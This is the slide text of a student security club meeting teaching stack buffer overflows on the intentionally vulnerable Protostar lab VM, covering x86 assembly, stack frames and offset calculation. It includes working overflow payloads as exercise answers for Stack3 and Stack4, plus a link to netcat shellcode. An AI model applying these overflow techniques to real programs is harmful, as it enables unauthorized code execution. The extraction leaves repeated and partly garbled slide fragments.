UOSEC Week 4: Stacks on stacks on stacks Frank [email protected] IRC kee Adam [email protected] IRC xe0 IRC: irc.freenode.net #0x4f Agenda ● ● ● ● ● Sign up for March 7th CTF BKP CTF Download Protostar vm Shellcode demo from last time Exercises Protostar Last meeting uosec.net was acting too much like ix.cs.uoregon.edu soooo lets everyone download our own Protostar instance Protostar If you don’t have virtualization software installed you can download virtualbox from https://www.virtualbox.org/wiki/Downloads You can then download Protostar VM from https://exploit-exercises.com/download/ Shellcode Demo So, last time uosec.net was too laggy to give the shellcode demo... Shellcode Demo Shellcode Demo Netcat shellcode used http://shell-storm.org/shellcode/files/ shellcode-684.php Quick recap from last meeting ● If you can buffer overflow eip on a executable stack, you can inject shellcode Quick recap from last meeting ● If you can buffer overflow eip on an executable stack, you can inject shellcode ● Bash, Python, Perl, Ruby are languages frequently used to write scripts to overflow buffers (python -c “print ‘A’*64”) Quick recap from last meeting ● If you can buffer overflow eip on a executable stack, you can inject shellcode ● Bash, Python, Perl, Ruby are languages frequently used to write scripts to overflow buffers (python -c “print ‘A’*64”) ● Protostar doesn’t implement stack defenses Exercise Stack 3 https://exploit-exercises.com/protostar/stack3/ Time limit: 10 minutes Answer for Stack 3 python -c "print 'A'*64 + '\x24\x84\x04\x08'" | ./ stack3 Answer for Stack 3 Why is it ‘A’*64? Answer for Stack 3 Why is it ‘A’*64? Look at the source code and you will see char buffer[64] but you can’t rely on source code to be accurate all the time. Answer for Stack 3 Next why '\x24\x84\x04\x08'? Answer for Stack 3 Next why '\x24\x84\x04\x08'? 0x08048424 is the memory address for the win() function. We can simply overwrite the function pointer fp with the address to win() and we are done. Before Stack4, We Need Some x86 Skills ● As I said before, sometimes the source code won’t tell all (like how to calculate memory offsets). ● So, we need to review a little bit of x86 assembly... Before Stack4, We Need Some x86 Skills Brief Introduction to x86 ASM ● x86 assembly is a low level machine-specific programming language that produces object code ● Some programs that are still written in assembly: operating system kernels, device drivers, and embedded real-time systems. x86 Syntax ● There are two major syntaxes for x86 assembly. Intel and AT&T. x86 Syntax ● The AT&T ere are two major syntax for x86 assembly is Intel and x86 Syntax ● The AT&T ere are two major syntax for x86 assembly is Intel ● Intel syntax has the following format: instruction dst, src ● > 700 x86 instructions currently exist and Registers ● 32bit x86 processors have 8 32bit general purpose registers ● In addition to the general purpose registers there is also flags (used to determine code flow direction), extra extension registers (MMX, SSE, etc), and segment registers Registers EBP, ESP, EIP ● EBP called the base pointer is used to keep track of the bottom of a stack frame ● ESP called the stack pointer is used to keep track of the top of stack ● EIP called the instruction pointer, points to the next instruction the CPU will execute Memory Addressing ● mov [eax], 2 # move 2 into addr stored in ebx Problem though, how do we know if it’s using 1 byte, 2 bytes, or all 4 bytes of the 32 bit register eax? Memory Addressing ● mov BYTE PTR [ebx], 2 #move 2 into single byte at addr stored in ebx Memory Addressing ● mov BYTE PTR [ebx], 2 #move 2 into single byte at addr stored in ebx ● mov WORD PTR [ecx], 2 #move the 16bit integer representation of 2 #into 2 bytes at addr stored in ecx Memory Addressing ● mov BYTE PTR [ebx], 2 #move 2 into single byte at addr stored in ebx ● mov WORD PTR [ecx], 2 #move the 16bit integer representation of 2 #into 2 bytes at addr stored in ecx ● mov DWORD PTR [edx], 2 #move the 32bit integer representation of 2 #into 4 bytes at addr stored in edx Memory Addressing mov eax, [ebx] # moves 4 bytes in memory at the address contained in ebx to eax mov DWORD PTR [esp+0x4], ebx # moves the contents of ebx into the 4 #bytes at memory address esp+0x4 Function Prologue Higher memory addresses ● Before any call functions esp Arguments Lower memory addresses Function Prologue Higher memory addresses ● Call some function Arguments esp Return Address Lower memory addresses Function Prologue Higher memory addresses ● push ebp Arguments esp Return Address Old ebp Lower memory addresses Function Prologue Higher memory addresses ● push ebp ● mov ebp, esp Arguments Return Address esp Old ebp Lower memory addresses Function Prologue Higher memory addresses ● push ebp ● mov ebp, esp ● sub esp, n bytes Arguments Return Address Old ebp esp Lower memory addresses Function Epilogue Higher memory addresses ● mov esp, ebp ● pop ebp Arguments esp Return Address note these two instructions are commonly combined into one instruction in x86 architecture called leave Lower memory addresses Function Epilogue esp Higher memory addresses ● leave Lower memory addresses Calculating offsets ● While learning x86 assembly in depth would be beneficial, what we’re really interested in is what we need to know to reverse engineer/exploit a program ● One of the most important things is calculating memory offsets Stack3 0x08048438 <main+0>: push ebp # function prologue (4 byte difference) 0x08048439 <main+1>: mov ebp,esp # function prologue 0x0804843b <main+3>: and esp,0xfffffff0 # stack alignment (8 byte difference) 0x0804843e <main+6>: sub esp,0x60 # create stack space in the stack frame (96 bytes) 0x08048441 <main+9>: mov DWORD PTR [esp+0x5c],0x0 # set fp variable to 0 (note its 92 bytes away from esp) 0x08048449 <main+17>: lea 0x0804844d <main+21>: mov eax,[esp+0x1c] # move address of buffer into eax (note its 28 bytes away from esp) DWORD PTR [esp],eax # move buffer in [esp] for gets() call 0x08048450 <main+24>: call 0x8048330 <gets@plt> # call gets() with [esp] as an argument 0x08048455 <main+29>: cmp 0x0804845a <main+34>: je DWORD PTR [esp+0x5c],0x0 # if fp still equals 0 we didn’t overflow it 0x8048477 <main+63> # if flag for equal was set we end program (fp ==0) else we contiue 0x0804845c <main+36>: mov eax,0x8048560 # move contents of 0x8048560 (which is a string) into eax 0x08048461 <main+41>: mov edx,DWORD PTR [esp+0x5c] # move our overflowed value of fp into edx 0x08048465 <main+45>: mov DWORD PTR [esp+0x4],edx # move fp into temp variable for printf call 0x08048469 <main+49>: mov DWORD PTR [esp],eax # move 0x8048560 (string) into temp variable for print call 0x0804846c <main+52>: call 0x8048350 <printf@plt> # call printf with [esp+0x4] and [esp] as arguments 0x08048471 <main+57>: mov eax,DWORD PTR [esp+0x5c] # move fp into eax 0x08048475 <main+61>: call eax # call fp 0x08048477 <main+63>: leave # function epilogue equivalent to mov esp, ebp followed by pop ebp 0x08048478 <main+64>: ret # return to previous eip before main was called Stack3 If we had this as our asm, how much would we need to overflow the buffer to overwrite ebp (and get to eip)? 0x08048438 <main+0>: push ebp # function prologue (4 byte difference) 0x08048439 <main+1>: mov ebp,esp # function prologue 0x0804843b <main+3>: and esp,0xfffffff0 # stack alignment (8 byte difference) 0x0804843e <main+6>: sub esp,0x60 # create stack space in the stack frame 0x08048441 <main+9>: mov DWORD PTR [esp+0x5c],0x0 # set fp variable to 0 0x08048449 <main+17>: lea eax,[esp+0x1c] # move address of buffer into eax 0x0804844d <main+21>: mov DWORD PTR [esp],eax # move buffer in [esp] for gets() 0x08048450 <main+24>: call 0x8048330 <gets@plt> # call gets() 0x08048477 <main+63>: leave # equivalent to mov esp, ebp followed by pop ebp 0x08048478 <main+64>: ret # return to previous eip before main was called Stack3 If we had this as our asm, how much would we need to overflow the buffer to overwrite ebp (and get to eip)? [64bytes for buffer][4bytes for fp][8bytes for alignment][4bytes for ebp][4bytes for eip] 0x08048438 <main+0>: push ebp # function prologue (4 byte difference) 0x08048439 <main+1>: mov ebp,esp # function prologue 0x0804843b <main+3>: and esp,0xfffffff0 # stack alignment (8 byte difference) 0x0804843e <main+6>: sub esp,0x60 # create stack space in the stack frame 0x08048441 <main+9>: mov DWORD PTR [esp+0x5c],0x0 # set fp variable to 0 0x08048449 <main+17>: lea eax,[esp+0x1c] # move address of buffer into eax 0x0804844d <main+21>: mov DWORD PTR [esp],eax # move buffer in [esp] for gets() 0x08048450 <main+24>: call 0x8048330 <gets@plt> # call gets() 0x08048477 <main+63>: leave # equivalent to mov esp, ebp followed by pop ebp 0x08048478 <main+64>: ret # return to previous eip before main was called Higher memory addresses Stack3 Return address Po 4 bytes Lets overflow buffer 64 bytes 8 bytes (varies, check with gdb) ebp stack alignment fp buffer[64] leave esp ret Lower memory addresses Higher memory addresses Stack3 Return address Po 4 bytes Lets overflow buffer 64 bytes Lets add a 4 byte valid addr in this case lets use win() 8 bytes (varies, check with gdb) ebp stack alignment fp 64*A leave esp ret Lower memory addresses Higher memory addresses Stack3 Return address Po Lets overflow buffer 64 bytes Lets add a 4 byte valid addr in this case lets use win() Now we need another 12 bytes to overflow stack alignment and ebp 4 bytes 8 bytes (varies, check with gdb) ebp stack alignment 0x08048424 win() 64*A leave esp ret Lower memory addresses Higher memory addresses Stack3 Return address Po Lets overflow buffer 64 bytes Lets add a 4 byte valid addr in this case lets use win() Now we need another 12 bytes to overflow stack alignment and ebp Finally we are at eip so we can choose any addr we want so lets choose where our shellcode is stored 4 bytes 8 bytes (varies, check with gdb) A*4 A*8 0x08048424 win() 64*A leave esp ret Lower memory addresses Higher memory addresses Stack3 address to shellcode Po Lets overflow buffer 64 bytes Lets add a 4 byte valid addr in this case lets use win() Now we need another 12 bytes to overflow stack alignment and ebp Finally we are at eip so we can choose any addr we want so lets choose where our shellcode is stored 4 bytes 8 bytes (varies, check with gdb) A*4 A*8 0x08048424 win() 64*A leave esp ret Lower memory addresses Exercise Stack4 https://exploit-exercises.com/protostar/stack4/ Time limit: rest of meeting If you’re a real gangster, get it to print “code flow successfully changed” without a segfault :) Answer Stack4 python -c "print 'A'*76 +'\xf4\x83\x04\x08'" | ./stack4 how to figure offset? 64bytes for char buffer[64] + 8bytes stack align + 4 byte ebp = 76bytes junk
© Copyright 2024 Paperzz